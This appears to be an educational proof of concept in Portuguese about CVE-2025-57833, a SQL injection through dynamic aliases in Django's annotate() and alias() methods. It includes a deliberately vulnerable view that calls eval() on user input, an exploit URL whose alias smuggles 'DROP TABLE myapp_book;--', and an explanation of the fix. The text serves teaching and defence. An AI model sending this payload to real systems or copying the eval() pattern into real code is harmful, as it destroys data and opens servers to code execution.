
# Prova de conceito educacional demonstrando injeção de SQL por meio de aliases dinâmicos nos métodos annotate() e alias() do Django (CVE-2025-57833). Inclui código vulnerável, exemplo de exploração e análise da correção.
Um alias é um nome dado a uma coluna ou a um resultado de agregação em uma consulta SQL.
No Django, os aliases são usados com os métodos annotate() ou alias() para nomear campos calculados.
Exemplo:
from django.db.models import Count
books = Book.objects.annotate(book_count=Count('id'))
Aqui, book_count é um alias para o resultado de Count('id').
Isso permite obter um nome legível para uma coluna calculada.
Para ir rápido, podemos inserir os dados via shell:
python manage.py shell
Comandos a executar:
from myapp.models import Author, Book
a = Author.objects.create(name=" houchi pierre")
Book.objects.create(title="Les belles filles", author=a)
Book.objects.create(title="Les baux arcons", author=a)
exit()
Antes do Django 4.2.23, era possível injetar SQL via aliases dinâmicos fornecidos pelo usuário.
Essa vulnerabilidade é conhecida como CVE-2025-57833.
Ela afetava as funções annotate() e alias() quando um dicionário com expansão (**kwargs) era usado com chaves não filtradas provenientes do usuário.
myapp/views.py)import json
from django.db.models import Count
from django.http import JsonResponse
from .models import Author
def vulnerable_view(request):
# Recupera o alias da URL
alias_param = request.GET.get("alias", "{}")
try:
# ⚠️ Vulnerável: avaliação direta dos dados do usuário
alias_dict = json.loads(alias_param)
for key, value in alias_dict.items():
alias_dict[key] = eval(value) # perigoso! permite a execução de código arbitrário
# Criação da queryset com anotação dinâmica
qs = Author.objects.annotate(**alias_dict).values("name", *alias_dict.keys())
# Retorno dos resultados
return JsonResponse(list(qs), safe=False)
except Exception as e:
return JsonResponse({"error": str(e)})
alias_param = request.GET.get("alias", "{}")
Recupera o valor do parâmetro alias passado pelo usuário.
alias_dict = json.loads(alias_param)
Transforma a string JSON em um dicionário Python.
alias_dict[key] = eval(value)
⚠️ Muito perigoso: eval() executa a string como código Python.
O usuário poderia injetar SQL destrutivo.
Author.objects.annotate(**alias_dict)
Aplica dinamicamente as anotações com os aliases fornecidos.
myapp/models.py)from django.db import models
class Author(models.Model):
name = models.CharField(max_length=100)
def __str__(self):
return self.name
class Book(models.Model):
title = models.CharField(max_length=100)
author = models.ForeignKey(Author, on_delete=models.CASCADE)
def __str__(self):
return self.title
Explicação:
Author e Book estão relacionados por uma relação ForeignKey.Author para calcular informações sobre seus livros.http://127.0.0.1:8000/vuln/?alias={"evil); DROP TABLE myapp_book;--":"Count('id')"}
O Django agora proíbe certos caracteres nos aliases:
--)Se a URL contiver esses caracteres, o Django levanta um erro:
Column aliases cannot contain whitespace characters, quotation marks, semicolons, or SQL comments.
http://127.0.0.1:8000/vuln/?alias={"books_count":"Count('book')"}
eval() em valores provenientes do usuário.eval() em dados de usuários.Autor: Loïc
Data: 06/09/2025